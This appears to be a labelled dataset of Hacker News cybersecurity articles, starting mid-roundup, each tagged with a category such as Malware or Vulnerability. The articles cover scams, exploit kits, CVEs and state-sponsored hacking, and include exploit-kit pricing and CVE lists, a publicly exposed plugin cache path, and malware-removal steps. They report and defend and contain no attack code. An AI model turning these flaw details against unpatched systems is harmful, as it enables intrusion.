4. Microsoft is Auto-Downloading Windows 10 to PCs without your Knowledge, But Here's How to Stop

Microsoft is auto-downloading Windows 10 installation files — up to 6GB — onto users' PCs even if the users have not opted into the upgrade.

The company has dropped and saved a hidden $Windows.~BT folder on your computer's primary (C) drive, if you are running Windows 7 or Windows 8.1.

Doing so, Microsoft is not only consuming your device storage space but also stealing your Internet bandwidth for large unrequested files, i.e., up to 6 gigabytes.

Until the company provides some official fix to this issue, here are some methods that you can use to stop Microsoft from auto-downloading Windows 10 installation files onto your PCs.

5. Samsung Launches 6GB RAM Chips for Next-Generation Smartphones

Samsung was the first one to bring 4GB RAM access in the Android mobile phones with the launch of Galaxy S6 and Galaxy S6 Edge, and now…

…the company has again taken a step further with the launch of 12GB LPDDR4 (low power, double data rate 4) DRAM Chip to offer 6GB RAM for its Next Generation Smartphones and tablets.

The next generation mobile devices are supposed to be equipped with new mobile DRAM chip to enable increased capacity and fastest speed; simultaneously providing essentials including:
Excellent energy efficiency
Reliability
Smooth multitasking
Ease of design
Better performance with the compatible operating system
For more information – Read more.

6. Russian Hackers Hijack Satellite To Steal Data from Thousands of Hacked Computers
Turla APT (Advanced Persistent Threat), a group of Russian hackers, is hijacking commercial satellites to hide its command-and-control operations.

Turla is a sophisticated Russian cyber-espionage group, believed to be sponsored by the Russian government, with a number of high-profile targets including:
government
military
embassy
research,
and pharmaceutical organizations...
...from over 45 countries, such as China, Vietnam, and the United States.

The group is now taking advantage of the fact that older satellites orbiting around the Earth do not come with support for encrypted connections and rely on unsuspecting users of the satellite Internet service providers across the world. – Read more.

7. How to Remove KeyRaider Malware that Hacked Over 225,000 iOS Devices

At the end of last month, security researchers discovered an iPhone malware, dubbed ""KeyRaider,"" that stole more than 225,000 credentials from jailbroken Apple devices.

KeyRaider, as the malware raids victims' username and passwords, private keys, and certificates, is spreading via the popular Cydia app repositories and is capable of performing:
Ransomware Attacks
Data Theft
DDoS Attacks
However, jailbreak users may implement some measures to mitigate the risk of KeyRaider malware.

Here's Steps to Remove KeyRaider Malware – Read More.

8. Warning! Seagate Wireless Hard Drives Have a Secret Backdoor for Hackers

Yes, you heard right. Security researchers uncovered an undocumented Telnet services with a hard-coded password in Seagate Wireless Hard Drives.

The researchers found a vulnerability (CVE-2015-2874) with an inbuilt user account (default username and password — ""root"") that could have allowed an attacker to access the device remotely, leaving users' data vulnerable to theft.

Affected devices include:
Seagate Wireless Plus Mobile Storage
Seagate Wireless Mobile Storage (Wirelessly streaming your tablet and smartphone's data)
LaCie FUEL (Wirelessly extending storage for iPads)
Fortunately, there's an easy fix. For patch and more information – Read more.

9. China Police Arrest 15,000 Suspects for Alleged Cyber Crimes

As part of its six-month long operation dubbed ""Cleaning the Internet,"" China Police arrested nearly 15,000 people on suspicion of cyber crimes last month.

Besides the arrest of around 15,000 suspects, Police also suspended more than 190,000 illegal online websites featuring vulgar contents including advertisements for pornography, firearms, explosives, and gambling. – Read More.

10. Android Stagefright Exploit Code Released

Zimperium team finally released the CVE-2015-1538 Stagefright Exploit to the public, demonstrating the process of Remote Code Execution (RCE).

The Stagefright vulnerability allows a hacker to reveal victim's information by injecting malicious code remotely, even without any involvements of the victim.

The purpose of the public release of the exploit code is to put penetration testers and security researchers to test and check the code and analyze the results.

11. Ashley Madison's Parent Company Secretly Running Online Escort Services

Avid Life Media, the company that owns Ashley Madison, was secretly running an Online Escort Service, leaked documents revealed last week.

An internal memo leaked by the Ashley Madison hackers revealed that Avid Life was running an Escorts.ca website that was similar to other online escort services.

Besides running Escorts.ca, Avid Life Media was actively recruiting escorts for another website it owned, called ""Arrangement Finders"" – ""sugar daddy"" website with tagline is ""Intimacy with a Twi$t."" – Read more.


12. URRGH! Evil app Watches YOU WATCHING PORN and takes your snaps

Watching Porn? Maybe the porn app you have installed on your Android smartphone could be taking your snaps to blackmail you for money.

Security researchers has uncovered an Android pornography application called Adult Player that promises free pornographic videos, but actually is taking your photographs to extort you for $500 (£330) ransom – a whole new way of Cyber Extortion.

For detailed information and know how to get rid of this Android Ransomware app – Read more.

13. Contactless Fingerprint Scanner Captures Your Prints from Meters Away

We all are aware of Fingerprint Biometric Readers that requires our touch to authenticate our identity to be authorized.

However, the latest research conducted by the National Institute of Standards and Technology (NIST) indicates that the future of fingerprint scanners lies in a ""no-touch"" activity by an individual for gaining authorization.

The Contactless Fingerprint Scanners, dubbed 'fast-capture non-contact' devices as NIST calls it, is capable of sensing and reading your fingerprint information while you are standing few meters away from the scanner.

For more in-depth information – Read more.


14. Microsoft Releases 12 Security Updates
In this month's Tuesday Patch Update, Microsoft addressed a total of 56 vulnerabilities in its different products. The updates included five critical, out of which two of them addressed vulnerabilities in all versions of Windows.

For detailed information on each and every update and their security patches – Read more.

15. How to Track Stolen Devices using Mac Addresses

An Iowa police officer David Schwindt has developed a sniffing software, dubbed L8NT (short for Latent analysis of 802.11 Network Traffic), that helps police find more stolen properties.

L8NT is a specialized wireless dongle with an antenna that scans for and locates MAC addresses associated with the known stolen devices.

For detailed information on working of L8NT – Read more.

",Malware
Beware of New Celebrity Sex Tape (Scam) Leaked on Facebook!,https://thehackernews.com/2016/12/facebook-scam-malware.html,"If you came across a celebrity sex video on Facebook featuring Jessica Alba or any other celebrity, just avoid clicking it.

Another Facebook scam is circulating across the social networking website that attempts to trick Facebook users into clicking on a link for a celebrity sex tape that instead downloads malware onto their computers.

Once installed, the malware would force web browsers to display aggressive advertising web pages which include sites with nudity and fake lotteries.

The spam campaign was uncovered by researchers at Cyren, who noted that a malicious Google Chrome extension is spreading nude celebrity PDFs through private messages and posts on various Facebook groups.

If opened, the PDF file takes victims to a web page with an image containing a play button, tricking users that the PDF may contain a video.

Once clicked, the link redirects users of Internet Explorer, Firefox, or Safari to a web page with overly-aggressive popups and advertisements related to nudity and fake lottery.

But on the other hand, this celebrity sex tape scam makes the matter worse for Google Chrome users.

The Scam is Fatal for Google Chrome Users
Once clicked on the scam link, Chrome desktop users are redirected to a fake YouTube page that leads up a pop-up window inviting victims to install a Google Chrome extension to view the videos.

Once victims get to install the malicious extension, the browser directs users to the Facebook.com login page and prompt them to re-authenticate, allowing attackers to collect Facebook users' credentials and then use their accounts to spread the malicious campaign further.

When analyzed the Chrome extension's source code, the Cyren team discovered that the extension comes with support for monitoring and intercepting web traffic in real-time, to determine what users can access through their browsers.

The malicious Chrome extension contains a long list of Antivirus and AntiSpam domains that it blocks and prevents the user from opening.

Besides this, the malicious Chrome extension also prevents victims from accessing the Chrome Extensions settings page, so that victims can not disable the malicious add-on.
""It also blocks the chrome extensions and chrome devtools tabs from being opened, preventing the user from uninstalling the malicious Chrome extension,"" the researchers say.
The PDF uploaded to Facebook is generated by selecting the name of a celebrity randomly from the script file and combining the selected name with random characters.

The name of celebrities includes Selena Gomez, Jessica Alba, Jennifer Lawrence, Hilary Duff, Paris Hilton, Rihanna, Kim Kardashian, Scarlett Johansson, Kelly Brook, Doutzen Kroes, Elodie Varlet and Nicki Minaj.

According to Cyren researchers, the cyber criminals behind this malicious spam campaign managed to upload their extension to the Chrome Web Store, though the extension has since been removed by the Google's security team.

How to remove the Malicious Chrome Extension?

To remove this malicious extension, the infected users would first have to delete the Registry key from the Registry Editor.

To do this, Go to Start Button → Type ""regedit"" in the Search/Run option, which will open the Windows Registry Editor.

Now, use the side menu in the new window to find the folder below, right-click it and select ""Remove.""

This is the path to the Registry Editor:
HKEY_LOCAL_MACHINE\Software\Google\Chrome\Extension
Now the second step is to remove the extension from the browser. Since the malicious Chrome extension prevents victims from accessing the native Chrome Extensions settings page, one must remove the extension by deleting the following folder from one's PC.
C:\Users\USER\AppData\Local\Google\Chrome\User Data\Default\Extensions
This action will remove all Chrome extensions from your computer. You have no option other than deleting the folder completely to get rid of the malicious threat, as you can not access the Chrome Extensions settings page to get the ID of the malicious extension.

Last but not the least, no celebrity recently have had their sex tape leaked (at least not one that's available online). So if you come across any link claiming to show a leaked sex tape of Jessica Alba, Jennifer Lawrence or any other, remember just to report it.

",Malware
SolarWinds Hack — New Evidence Suggests Potential Links to Chinese Hackers,https://thehackernews.com/2021/03/solarwinds-hack-new-evidence-suggests.html,"A malicious web shell deployed on Windows systems by leveraging a previously undisclosed zero-day in SolarWinds' Orion network monitoring software may have been the work of a possible Chinese threat group.
In a report published by Secureworks on Monday, the cybersecurity firm attributed the intrusions to a threat actor it calls Spiral.
Back on December 22, 2020, Microsoft disclosed that a second espionage group may have been abusing the IT infrastructure provider's Orion software to drop a persistent backdoor called Supernova on target systems.
The findings were also corroborated by cybersecurity firms Palo Alto Networks' Unit 42 threat intelligence team and GuidePoint Security, both of whom described Supernova as a .NET web shell implemented by modifying an ""app_web_logoimagehandler.ashx.b6031896.dll"" module of the SolarWinds Orion application.
The alterations were made possible not by breaching the SolarWinds app update infrastructure but instead by leveraging an authentication bypass vulnerability in the Orion API tracked as CVE-2020-10148, in turn allowing a remote attacker to execute unauthenticated API commands.
""Unlike Solorigate [aka Sunburst], this malicious DLL does not have a digital signature, which suggests that this may be unrelated to the supply chain compromise,"" Microsoft had noted.
While the Sunburst campaign has since been formally linked to Russia, the origins of Supernova remained a mystery until now.
According to Secureworks Counter Threat Unit (CTU) researchers — who discovered the malware in November 2020 while responding to a hack in one of its customers' networks — ""the immediate and targeted nature of the lateral movement suggests that Spiral had prior knowledge of the network.""
During the course of further investigation, the firm said it found similarities between the incident and that of a prior intrusion activity on the same network uncovered in August 2020, which had been accomplished by exploiting a vulnerability in a product known as ManageEngine ServiceDesk as early as 2018.
""CTU researchers were initially unable to attribute the August activity to any known threat groups,"" the researchers said. ""However, the following similarities to the Spiral intrusion in late 2020 suggest that the Spiral threat group was responsible for both intrusions.""
The connection to China stems from the fact that attacks targeting ManageEngine servers have long been associated with threat groups located in the country, not to mention the modus operandi of exploiting long-term persistence to collect credentials, exfiltrate sensitive data, and plunder intellectual property.
But more solid evidence arrived in the form of an IP address that geolocated to China, which the researchers said came from a host that was used by the attackers to run Secureworks's endpoint detection and response (EDR) software for reasons best known to the threat actor, suggesting the software may have been stolen from the compromised customer.
""The threat group likely downloaded the endpoint agent installer from the network and executed it on the attacker-managed infrastructure,"" the researchers detailed. ""The exposure of the IP address was likely unintentional, so its geolocation supports the hypothesis that the Spiral threat group operates out of China.""
It's worth pointing out that SolarWinds addressed Supernova in an update to Orion Platform released on December 23, 2020.

",Cyber_Attack
Phoenix Exploit's Kit 2.8 mini version,https://thehackernews.com/2011/10/phoenix-exploits-kit-28-mini-version.html,"Phoenix Exploit's Kit 2.8 mini version


Back in April of this year, we reported the leak of Phoenix Exploit Kit 2.5. The version currently in circulation is 2.8, and despite its lower activity for the last half of this year, it remains one of the preferred exploit packs used by cyber-criminals.

In comparison to the Black Hole Exploit Pack, the PEK has a similar licensing model. The last version released offered an ""alternative"" to purchasing the exploit pack. This ""alternative"" is the Phoenix Exploit's Kit 2.8 mini.

The current licensing model consists of the following:

· Simple Domain (Closed) – USD $2,200.00
· Multithreaded Domain (Closed) – USD $2,700.00
· Extra-Encryption Service (ReFUDing) – USD $40.00

The mini version does not change the characteristics of the Exploit Pack, at least in regards to its graphical interface and functionality in relation to previous versions. Each section has the same type of display and statistical information, which is provided in a minimalistic yet concise manner. Although trivial, this is one of the main reasons for the adoption of Phoenix by cyber-criminals. The ability to easily locate information and merge the functionality of this Exploit Pack with a Malware Kit, such as SpyEye or ZeuS, increases their level of success and attack strategies.

The main difference between the full version and the mini version is that the mini version is subject to a domain under the simple mode, while the full version allows multitasking.

There isn't much new about the Exploit Pack. The code has been optimized to increase the success rate of exploitation and the exploit for Java Runtime Environment to Trusted has been added.

Also removed were the following exploits pre-compiled in version 2.7:

· Windows Help and Support Center Protocol Handler Vulnerability – CVE-2010-1885
· Integer overflow in the AVM2 abcFile parser in Adobe Flash Player – CVE-2009-1869
· Integer overflow in Adobe Flash Player 9 – CVE-2007-0071
· IEPeers Remote Code Execution – CVE-2009-0806
· Internet Explorer Recursive CSS Import Vulnerability – CVE-2010-3971

Although it's basically the same exploits (similar in all cases, including those incorporating other Exploit Packs in the wild), the author's optimized for each version. In this case, it includes the following exploits:

· Microsoft Data Access Components (MDAC) - CVE-2006-0003
· Adobe Reader Javascript Printf Buffer Overflow - CVE-2008-2992
· Adobe Reader LibTiff - CVE-2010-0188
· Adobe Reader Collab GetIcon - CVE-2009-0927
· Java SMB - CVE-2010-0746
· Java Runtime Environment Trusted - CVE-2010-0840
· Java Skyline Plug-in component in Oracle Java SE and Java for Business 6 - CVE-2010-3552
· Java Deployment Toolkit Component - CVE-2010-0886

Despite the optimization of the components for each version, it is interesting that chain optimization and updating MDAC exploits remains the most prevalent, not only in this Exploit Pack but in any of the existing Exploit Packs. What is the reason? It comes down to a lack of experience by the users (application, customers around the basic procedures update) that transforms them into a potential target and highly susceptible through this old, but effective vulnerability.
[Source]

",Vulnerability
Adobe Releases First 2020 Patch Tuesday Software Updates,https://thehackernews.com/2020/01/adobe-software-updates.html,"Adobe today released software updates to patch a total of 9 new security vulnerabilities in two of its widely used applications, Adobe Experience Manager and Adobe Illustrator.

It's the first Patch Tuesday for the year 2020 and one of the lightest patch releases in a long time for Adobe users.

Moreover, none of the security vulnerabilities patched this month were either publicly disclosed or found being actively exploited in the wild.

5 of the 9 security vulnerabilities are 'critical' in severity, and all of them affect Adobe Illustrator CC versions 24.0 and earlier, which were reported to the company by Fortinet's FortiGuard Labs researcher Honggang Ren.

According to an advisory published by Adobe, all five critical issues in Adobe Illustrator software are memory corruption bugs that could allow an attacker to execute arbitrary code on targeted systems in the context of the current user.

The rest 4 security vulnerabilities affect Adobe Experience Manager—a comprehensive content management solution for building websites, mobile apps, and forms—none of which are critical in severity but should be patched at your earliest convenience.

That's also because Adobe has marked security updates for Adobe Experience Manager with a priority rating of 2, which means similar flaws have previously been seen exploited in the wild, but for now, the company has found no evidence of any exploitation of these vulnerabilities in the wild.

These reported issues—which include: reflected cross-site scripting, user interface injection, and expression language injection—affect multiple versions of Adobe Experience Manager, all leading to sensitive information disclosure, where three of them are important in severity and one moderate.

Adobe today released Illustrator CC 2019 version 24.0.2 for Windows operating system and patches for Adobe Experience Manager versions 6.3, 6.4, and 6.5.

Adobe recommends end-users and administrators to install the latest security updates as soon as possible to protect their systems and businesses from potential cyber-attacks.


",Vulnerability
How to Build a Successful Incident Response Plan,https://thehackernews.com/2015/11/how-to-incident-response-plan.html,"The fight to protect your company's data isn't for the faint of heart.

As an embattled IT warrior, with more systems, apps, and users to support than ever before, keeping everything up and running is a battle in itself.

When it comes to preventing the worst-case scenario from happening, you need all the help you can get, despite your super-hero status.

According to SANS, there are 6 key phases of an incident response plan.
Preparation - Preparing users and IT to handle potential incidents in case they happen
Identification - Figuring out what we mean by a ""security incident"" (which events can we ignore vs. which we must act on right now?)
Containment - Isolating affected systems to prevent further damage
Eradication - Finding and eliminating the root cause (removing affected systems from production)
Recovery - Permitting affected systems back into the production environment (and watching them closely)
Lessons Learned - Writing everything down and reviewing and analyzing with all team members so you can improve future incident response efforts
Here are three examples from the front lines of incident response that can help you at each phase as you build out your plan.

On Defining Success Incident Response Success

There are many levels of success in defensive work… the common wisdom is that the attacker only has to be right once, but the defender has to be right every time, but that's not always true.

Attacks are not all-or-nothing affairs - they happen over time, with multiple stages before final success.

To remain undetected against an attentive defender, it is the attacker who must make every move correctly; if an astute defender detects them even once, they have the possibility to locate and stop the whole attack.

You aren't going to immediately detect everything that happens during an attack - but as long as you detect (and correctly identify) enough of an attack to stop it in its tracks, that's success.

Don't Panic. Stay Focused.

Execution is key - the range of ways to attack a target can seem limitless - expecting to be an expert on all of them is pointlessly unrealistic.

The most important part of incident response is to handle every situation in a way that limits damage, and reduces recovery time and costs.

At the end of the day, that's how you'll be measured on a job well done… not that you've covered every angle of every potential vulnerability.

Start with Simple Steps. Attackers are Lazy.

Attackers have technical and economic imperatives to use the minimum amount of effort and resources to breach their targets - the more you remove the low-hanging fruit on your network, the more you raise the actual level of work an attacker has to expend to successfully infiltrate it.

AlienVault has recently created a 5 chapter eBook titled the Insider's Guide to Incident Response that goes further into fundamental strategies that can help you create an efficient and effective incident response plan.

The eBook covers:
Arming & Aiming Your Incident Response Team
Incident Response Process and Procedures
Types of Security Incidents
Incident Response Tools
Incident Response Training
You can download the entire eBook at AlienVault's website here.

Learn more about AlienVault USM:
Download a free 30-day trial
Watch a demo on-demand
Play with USM in our product sandbox (no download required)

",Cyber_Attack
WordPress plugin W3 Total Cache critical Vulnerability disclosed,https://thehackernews.com/2012/12/wordpress-plugin-w3-total-cache_26.html,"One of the most popular Wordpress Plugin called ""W3 Total Cache"" which is used to Improve site performance and user experience via caching, having potential vulnerability. On Christmas day, someone disclose it on full-disclosure site that how a plugin misconfiguration leads to possible Wordpress cms hack.
The loophole is actually activated on the fact that how W3TC stores the database cache. Jason disclosed that cache data is stored in public accessible directory, from where a malicious attack can can retrieve password hashes and other database information.

Default location where this plugin stores data is ""/wp-content/w3tc/dbcache/"" and if directory listing is enabled, attacker can browse and download it.

He said,""Even with directory listings off, cache files are by default publicly downloadable, and the key values / file names of the database cache items are easily predictable.""

Because the plugin is very famous ,so this makes quite easy for hackers to play with WordPress blogs. Author also publish a simple shell script to identify and exploit this bug.

We would like to recommend webmasters to either upgrade the plugin to new version or deny access to plugin directory by making an extra .htccess in that folder.

Update 29-Dec-2012 : WordPress plugin W3 Total Cache updated to version 0.9.2.5 with fix for above vulnerability.

Change Log : Fixed security issue that can occur if using database caching to disk. If using database caching to disk with a web server with directory listing or web accessible wp-content/w3tc/dbcache/* directories. This patch works for all hosting environments / types where PHP is properly configured, i.e. .htaccess modifications (or other web server configuration changes) are *not* necessary to ensure proper security. Empty the database cache after performing the update if you use database caching to disk.

Download W3 Total Cache Plugin for Wordpress

",Vulnerability
Adult Friend Finder... Hacked & 3.5 Million Users' Database Leaked Online,https://thehackernews.com/2015/05/adult-friend-finder.html,"Until now, hackers have targeted companies and websites that hold your credit card details or medical information, but now they are showing interest in your sex life instead.

You heard it right. Adult Friend Finder, a casual dating website with the tagline ""hookup, find sex or meet someone hot now"", has suffered a massive data breach.

Nearly 4 Million users of AdultFriendFinder have had their personal details, including email addresses, usernames, dates of birth, postcodes and IP addresses, exposed on the dark web for sale online.

The Channel 4 news site broke the story on Thursday and warned users of the California-based dating site with 64 million members who want to have sex and one night stands with strangers.

Nearly 4 Million Sex Life Exposed!!!

The leaked data also includes the information on whether the users are gay or straight and even which ones might be seeking extramarital affairs. This data could be goldmines for hacker trying to blackmail people to extort money, and Channel 4 says this may already be happening.

Shaun Harper is one of those members whose details were made public, even after he already had deleted his account. This clearly indicates that AdultFriendFinder do not get rid of data after customers leave.

So far, no hacking group or individual has claimed responsibility for the hack, but this data breach is embarrassing for those who had their sex life exposed in just one shot.

Now, let's have a look at what AdultFriendFinder parent company FriendFinder Networks has to say on its part?

FriendFinder Networks confirmed that there has been a data breach at AdultFriendFinder, but would not specify how many customers have been affected by the hack and to what extent.

Here's a statement by FriendFinder Networks offered to Channel 4 News:

""FriendFinder Networks Inc understands and fully appreciates the seriousness of the issue. We have already begun working closely with law enforcement and have launched a comprehensive investigation with the help of leading third-party forensics expert. We pledge to take the appropriate steps needed to protect our customers if they are affected.""

According to Channel 4, the leaked data has come from a hacker nicknamed ROR[RG] who posted the details of users of Adult FriendFinder to an online forum. It appears that the hacker attempted to blackmail the users to extort $100,000 before publishing the data online.

",Data_Breaches
Critical Pre-Auth RCE Flaw Found in F5 Big-IP Platform — Patch ASAP!,https://thehackernews.com/2021/03/critical-pre-auth-rce-flaw-found-in-f5.html,"Application security company F5 Networks on Wednesday published an advisory warning of four critical vulnerabilities impacting multiple products that could result in a denial of service (DoS) attack and even unauthenticated remote code execution on target networks.
The patches concern a total of seven related flaws (from CVE-2021-22986 through CVE-2021-22992), two of which were discovered and reported by Felix Wilhelm of Google Project Zero in December 2020.
The four critical flaws affect BIG-IP versions 11.6 or 12.x and newer, with a critical pre-auth remote code execution (CVE-2021-22986) also affecting BIG-IQ versions 6.x and 7.x. F5 said it's not aware of any public exploitation of these issues.
Successful exploitation of these vulnerabilities could lead to a full compromise of vulnerable systems, including the possibility of remote code execution as well as trigger a buffer overflow, leading to a DoS attack.
Urging customers to update their BIG-IP and BIG-IQ deployments to a fixed version as soon as possible, F5 Networks' Kara Sprague said the ""vulnerabilities were discovered as a result of regular and continuous internal security testing of our solutions and in partnership with respected third parties working through F5's security program.""
The vulnerabilities have been addressed in the following products:
BIG-IP versions: 16.0.1.1, 15.1.2.1, 14.1.4, 13.1.3.6, 12.1.5.3, and 11.6.5.3
BIG-IQ versions: 8.0.0, 7.1.0.3, and 7.0.0.2
Besides these flaws, Wednesday's patches also include fixes for 14 other unrelated security issues.
The fixes are notable for the fact that it's the second time in as many years that F5 has revealed flaws that could allow remote code execution.
The latest update to BIG-IP software arrives less than a year after the company addressed a similar critical flaw (CVE-2020-5902) in early July 2020, with multiple hacking groups exploiting the bug to target unpatched devices, prompting the U.S. Cybersecurity and Infrastructure Security Agency (CISA) to issue an alert cautioning of a ""broad scanning activity for the presence of this vulnerability across federal departments and agencies.""
""This bug is probably going to fly under the radar, but this is a much bigger deal than it looks because it says something is really really broken in the internal security process of F5 BIG-IP devices,"" said Matt ""Pwn all the Things"" Tait in a tweet.

",Vulnerability
Reflection DDoS Attacks Using Millions of UPnP Devices on the Rise,https://thehackernews.com/2014/10/reflection-ddos-attacks-using-millions_16.html,"After successful in launching reflection and amplification Distributed Denial-of-Service (DDoS) attacks by abusing various protocols such as DNS, NTP and SMTP, hackers are now abusing Simple Service Discovery Protocol (SSDP) – part of the UPnP protocol standard – to target home and office devices, researchers warned.

SSDP is a network protocol based on the Internet Protocol Suite that comes enabled on millions of networked devices, such as computers, printers, Internet gateways, Router / Wi-Fi access points, mobile devices, webcams, smart TVs and gaming consoles, to discover each other and automatically establish working configurations that enable data sharing, media streaming, media playback control and other services.

FLAW IN UPnP USED IN AMPLIFICATION DDoS ATTACK
Prolexic Security Engineering & Response Team (PLXsert) at Akamai Technologies have issued a warning that the devices use in residential or small office environments are being co-opted into reflection and amplification distributed denial-of-service (DDoS) attacks since July that abuse communications protocols enabled on UPnP devices.
""The rise of reflection attacks involving UPnP devices in an example of how fluid and dynamic the DDoS crime ecosystem can be in identifying, developing and incorporating new resources and attack vectors into its arsenal,"" the advisory states. ""Further development and refinement of attack payloads and tools is likely in the near future.""
The weakness in the Universal Plug-and-Play (UPnP) standard could allow an attacker to compromise millions of its consumer and business devices, which could be conscripted by them to launch an effective DDoS attack on a target.

Attackers have found that Simple Object Access Protocol (SOAP) – protocol used to exchange sensitive information in a decentralized, distributed environment – requests ""can be crafted to elicit a response that reflects and amplifies a packet, which can be redirected towards a target.""

This UPnP attack is useful for both reflection attacks, given the number of vulnerable devices, and amplification as researchers estimate that it can magnify attack traffic by a factor of 30, according to the advisory.

OVER 4.1 MILLIONS DEVICES VULNERABLE
According to the security researchers, about 38 percent of the 11 million Internet-facing UPnP devices, i.e. over 4.1 million devices, in use are potentially vulnerable to being used in this type of reflection DDoS attack.
""The number of UPnP devices that will behave as open reflectors is vast, and many of them are home-based Internet-enabled devices that are difficult to patch,"" said Akamai security business unit senior vice president and general manager Stuart Scholly. ""Action from firmware, application and hardware vendors must occur in order to mitigate and manage this threat.""
MAJOR TARGETED COUNTRIES
South Korea has the largest number of vulnerable devices, followed by the United States, Canada, and China, according to the advisory.

This isn't the first time when a security flaw in UPnP has allowed attackers to target home and business devices, back in January 2013, a flaw in UPnP exposed more than 50 millions computers, printers and storage drives to attack by hackers remotely.

",Vulnerability
Your Linux Can Get Hacked Just by Opening a File in Vim or Neovim Editor,https://thehackernews.com/2019/06/linux-vim-vulnerability.html,"Linux users, beware!

If you haven't recently updated your Linux operating system, especially the command-line text editor utility, do not even try to view the content of a file using Vim or Neovim.

Security researcher Armin Razmjou recently discovered a high-severity arbitrary OS command execution vulnerability (CVE-2019-12735) in Vim and Neovim—two most popular and powerful command-line text editing applications that come pre-installed with most Linux-based operating systems.

On Linux systems, Vim editor allows users to create, view or edit any file, including text, programming scripts, and documents.

Since Neovim is just an extended forked version of Vim, with better user experience, plugins and GUIs, the code execution vulnerability also resides in it.

Code Execution Flaw in Vim and Neovim

Razmjou discovered a flaw in the way Vim editor handles ""modelines,"" a feature that's enabled-by-default to automatically find and apply a set of custom preferences mentioned by the creator of a file near the starting and ending lines in the document.
Though the editor only allows a subset of options in modelines (for security reasons) and uses sandbox protection if it contains an unsafe expression, Razmjou revealed that using "":source!"" command (with a bang [!] modifier) can be used to bypass the sandbox.

Therefore, just opening an innocent looking specially crafted file using Vim or Neovim could allow attackers to secretly execute commands on your Linux system and take remote control over it.

The researcher has also released two proof-of-concept exploits to the public, one of which demonstrates a real-life attack scenario wherein a remote attacker gains access to a reverse shell from the victim's system as soon as he/she opens a file on it.

The maintainers of Vim (patch 8.1.1365) and Neovim (released in v0.3.6) have released updates for both utilities to address the issue, which users should install as soon as possible.

Besides this, the researcher has also recommended users to:

disable modelines feature,
disable ""modelineexpr"" to disallow expressions in modelines,
use ""securemodelines plugin,"" a secure alternative to Vim modelines.

",Vulnerability
Chinese Hackers Targeted India's Power Grid Amid Geopolitical Tensions,https://thehackernews.com/2021/03/chinese-hackers-targeted-indias-power.html,"Amid heightened border tensions between India and China, cybersecurity researchers have revealed a concerted campaign against India's critical infrastructure, including the nation's power grid, from Chinese state-sponsored groups.
The attacks, which coincided with the standoff between the two nations in May 2020, targeted a total of 12 organizations, 10 of which are in the power generation and transmission sector.
""10 distinct Indian power sector organizations, including four of the five Regional Load Despatch Centres (RLDC) responsible for operation of the power grid through balancing electricity supply and demand, have been identified as targets in a concerted campaign against India's critical infrastructure,"" Recorded Future said in a report published yesterday. ""Other targets identified included 2 Indian seaports.""
Chief among the victims include a power plant run by National Thermal Power Corporation (NTPC) Limited and New Delhi-based Power System Operation Corporation Limited.
Pinning the intrusions on a new group dubbed ""RedEcho,"" investigators from the cybersecurity firm's Insikt Group said the malware deployed by the threat actor shares strong infrastructure and victimology overlaps with other Chinese groups APT41 (aka Barium, Winnti, or Wicked Panda) and Tonto Team.
Border conflicts have flared up since last year after deadly clashes between Indian and Chinese soldiers in Ladakh's Galwan Valley. While 20 Indian soldiers were killed in the clashes, China formally identified four casualties on its side for the first time on February 19.
In the intervening months, the Indian government has banned over 200 Chinese apps for allegedly engaging in activities that posed threats to ""national security and defence of India, which ultimately impinges upon the sovereignty and integrity of India.""
Noting that the standoff between the two countries was accompanied by increased espionage activity on both sides, Recorded Future said the attacks from China involved the use of infrastructure it tracks as AXIOMATICASYMPTOTE, which encompasses a modular Windows backdoor called ShadowPad that has been previously attributed to APT41 and subsequently shared between other Chinese state-backed actors.
Additionally, the report also raises questions about a possible connection between the skirmishes and a power blackout that crippled Mumbai last October.
While initial probe conducted by the cyber department of the western Indian state of Maharashtra traced the attack to malware identified at a Padgha-based State Load Despatch Centre, the researchers said, ""the alleged link between the outage and the discovery of the unspecified malware variant remains unsubstantiated.""
""However, this disclosure provides additional evidence suggesting the coordinated targeting of Indian Load Despatch Centres,"" they added.
Interestingly, these cyberattacks were described as originating from Chengdu, which is also the base for a network technology firm called Chengdu 404 Network Technology Company that operated as a front for a decade-long hacking spree targeting more than 100 high-tech and online gaming companies.
But it's not just China. In the weeks leading to the clashes in May, a state-sponsored group called Sidewinder — which operates in support of Indian political interests — is said to have singled out Chinese military and government entities in a spear-phishing attack using lures related to COVID-19 or the territorial disputes between Nepal, Pakistan, India, and China.
The modus operandi aside, the finding is yet another reminder of why critical infrastructure continues to be a lucrative target for an adversary looking to cut off access to essential services used by millions of people.
""The intrusions overlap with previous Indian energy sector targeting by Chinese threat activity groups in 2020 that also used AXIOMATICASYMPTOTE infrastructure,"" the researchers concluded. ""Therefore, the focus in targeting India's electricity system possibly indicates a sustained strategic intent to access India's energy infrastructure.""
We have reached out to India's Computer Emergency Response Team (CERT-IN), and we will update the story if we hear back.
UPDATE
A major power blackout that struck Mumbai last October may have been the result of a deliberate act of cyber sabotage, according to a preliminary report released by Maharashtra Cyber Cell said on Wednesday, adding it found possible evidence of 14 ""Trojan horses"" and 8GB of unexplained data deployed in the city's power system. In a statement to Reuters, China denied responsibility for carrying out the attack.

",Cyber_Attack
Chinese Hackers Carried Out Country-Level Watering Hole Attack,https://thehackernews.com/2018/06/chinese-watering-hole-attack.html,"Cybersecurity researchers have uncovered an espionage campaign that has targeted a national data center of an unnamed central Asian country in order to conduct watering hole attacks.

The campaign is believed to be active covertly since fall 2017 but was spotted in March by security researchers from Kaspersky Labs, who have attributed these attacks to a Chinese-speaking threat actor group called LuckyMouse.

LuckyMouse, also known as Iron Tiger, EmissaryPanda, APT 27 and Threat Group-3390, is the same group of Chinese hackers who was found targeting Asian countries with Bitcoin mining malware early this year.

The group has been active since at least 2010 and was behind many previous attack campaigns resulting in the theft of massive amounts of data from the directors and managers of US-based defense contractors.

This time the group chose a national data center as its target from an unnamed country in Central Asia in an attempt to gain ""access to a wide range of government resources at one fell swoop.""

According to the researchers, the group injected malicious JavaScript code into the official government websites associated with the data center in order to conduct watering hole attacks.
Although LuckyMouse has been spotted using a widely used Microsoft Office vulnerability (CVE-2017-11882) to weaponize Office documents in the past, researchers have no proofs of this technique being used in this particular attack against the data center.

The initial attack vector used in the attack against the data center is unclear, but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center.

The attack against the data center eventually infected the targeted system with a piece of malware called HyperBro, a Remote Access Trojan (RAT) deployed to maintain persistence in the targeted system and for remote administration.
